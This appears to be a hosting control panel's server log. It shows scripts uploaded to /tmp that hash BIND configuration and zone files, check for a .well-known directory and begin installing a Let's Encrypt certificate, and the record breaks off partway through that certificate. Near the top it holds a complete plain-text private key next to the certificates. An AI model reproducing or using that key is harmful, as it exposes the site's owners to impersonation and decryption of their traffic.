aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAwLmNybDCCAQYGCisGAQQB
1nkCBAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABm4TzfqUAAAQDAEgwRgIhAN963DUoWLlCIWLfxz8dtg+L9wlBBXdMl/nYyvjD
mRAXAiEA6F///rJtTn5gIQ6IZVgM44LV47UzUCPkc4urzi1Ets0AdwDRbqmlaAd+
ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuE83+CAAAEAwBIMEYCIQCYtRgJ
AzbuggCVOTGZtOyqu+8fjvVW8ZJjjRqIDBoVNwIhANS52JOpp2gbe/2NrKUfYSA8
85kwCWjOCaqXcrH5uRgbMA0GCSqGSIb3DQEBCwUAA4IBAQCChjjDbzWAjhfeRb7C
ks5czbkzBTajsTHhA8jFUz9d1JPWgnjxkeA34sHQoLzySpmk/EGt7drJUIrGuoT8
plWk2L4GKgoYD4pWnnD1J21hSIuwSO35bJUF243HOlr0ftTeMVFQu3d8HCjvpbfg
rF04fFeVOJYroSGUECUUrSu9kqwTyNxNJRIHETTVFRBCE4jq5hvA5eV2Zsnt2vnF
dSuyg4XcS7JaBaWdgve7jFvHfKMMB0Fkfn4xXo4UoWrPmbEHI6+99wySpAnzxRo3
SULnadl235/bOCKU+RJh3mga41OfpVgWIbLA3y6t/In8FWjhoT/XyUEEoZ/aIvLV
qJJ7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5/LSx+/4+d31u
Ah2xj8Co0jfhji1celcy3XLxsOsBhP8IJjICf6Du/F14BSxNEWv91V6kcchAf0bM
cHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZLrb/8u6WvfG6mg7fA7h1sW4KNXap3
EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xoy9e/bYjNhOc/vUdefBnj2O8g5HK3
uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hqMkS/TxfzKXTJCX49RgPabldHdJgk
uTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn3ixj/MX2t33HIK9Eb0vCCPqvswb8
9PkKaSrzAgMBAAECggEAB3EB0SiUzMQJe+LQHwAc7xmbdxtcsO62LsinJjN0G6yf
avXi71r9l0JNV8Ar5xjThNBKMp3Y1iJ23zbVcJZQWSLxRSduXZeScWVWTElj50+L
H0rM5iSZYg/R+m+p77X6dAOISthtz0vYRl5XYr/JKY/FO9W92RzKB/WrN7bObKeO
p/LK79xhW1yZ/PE7E01AKNF3qCulZArW1FSN2KSgvcp5b4PZWNE9GfmLOq2Y4oAG
xHi0zTLwV09t8Ocnq7NmR6b1akgilSCjxJbIsLFEAriM6MiGy9j5QM54Mi7Ioy8c
wH0rXLa8Ccz760LSKtwA7LFiUUYF0b6MBka+6sVp/QKBgQDfzB+bIKrUNVdRGjZ5
0v+KvUraVh91SV6PRfeXrvsDcpmX2atBtTiuemQaSfowb+id/lsLdztLVkbz/sdN
qhm8jYeoRKDZwoZqtGNBsJx9ItAPsjbyt7Ulp0milgHw2GZv3WC6fzeW9GAwv18v
pgjulctQitrQG2sZPFZP6MLC/QKBgQDUv8q6TuAFNUBHI0gtbPg8nWODcPWcCuLT
43aNL8C58JgUeiJ3bkZCMSItgVLKWAbZJJaIAGoClFH47sr7rHWf1i+qhwXzEltr
ImgFKLJTcpc4wcDJxjgHKZ7vpqfhLkabgm++cIM7zxc/r3RIbtJLWGM4N+lxTUCl
NwSAZvNgrwKBgQDDcM61OZ0V/5NGh37FewehkNfavtVwJufGdVLZC324sA8ENppB
otJiRQ5AixRL0p8xwtydsb19eFY0ZO6Gm6MoL+0lfPF/2kpqyyfXSTYQbiOHYZps
8xPmUyaSLzB4tXMYBBuiItFYKggK6kVlJjmsqfJJX0nh7d/kxPWXiWz0vQKBgBI4
nvdX/A3WIrw1BGCHnbcrT7OZQB/uOsElESlEdsA2IABY+Yy7EB9pL+Ev21RjN6rv
XEknp+yyoVattQrbGXPoF0sGp3bLErNZTglrE+LbxKHizk05weCzKt6hqm051mhJ
QqLP5h2APiCBOXdernovhsfw2fiPQkMkNCl/J8cXAoGAa03guXFKP9HgRAUUEhP8
A4abtoazS96Z3ccT4lhyH6J+9MHI6+fTyL1yzVL++yOy4Fdau0hCoj2NrsOoPPCB
vTlX2Vb8sv7WQq8gKnq8Zu8fJ3DHxgdGIjNV6Up9upe31rEaIHNzQlHR4MYjxN6S
Zs8yfR5s+lG+0PBITRbL/fI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 17:50:49: Establishing a connection
2026-01-03 17:50:58: Establishing a connection
2026-01-03 17:50:58: 

PUT: /tmp/pkp410202

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 17:50:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp410202; rm /tmp/pkp410202'

2026-01-03 17:50:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 17:51:07: Establishing a connection
2026-01-03 17:51:08: Establishing a connection
2026-01-03 17:51:09: 

PUT: /tmp/pkp737809

#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-03 17:51:10: 

chmod 755 /tmp/pkp737809; /tmp/pkp737809; rm /tmp/pkp737809

2026-01-03 17:51:10: 


0


2026-01-03 17:51:38: Establishing a connection
2026-01-03 17:51:39: 

PUT: /tmp/pkp806996

#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734

cat > $temp_file <<'endmsg'
cb:e0:5a:1a:86:8b:72:2b:5a:be:05:ab:9a:16:a3:d0

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBdt0mXJZhKosSEE/D8Pgrg9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY1MzA3WhcNMjYwNDAzMTY1MzA2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL6FEOblmWBpj/p7H71hQWaCucqOWppi0LG1A5T6s3ponF51
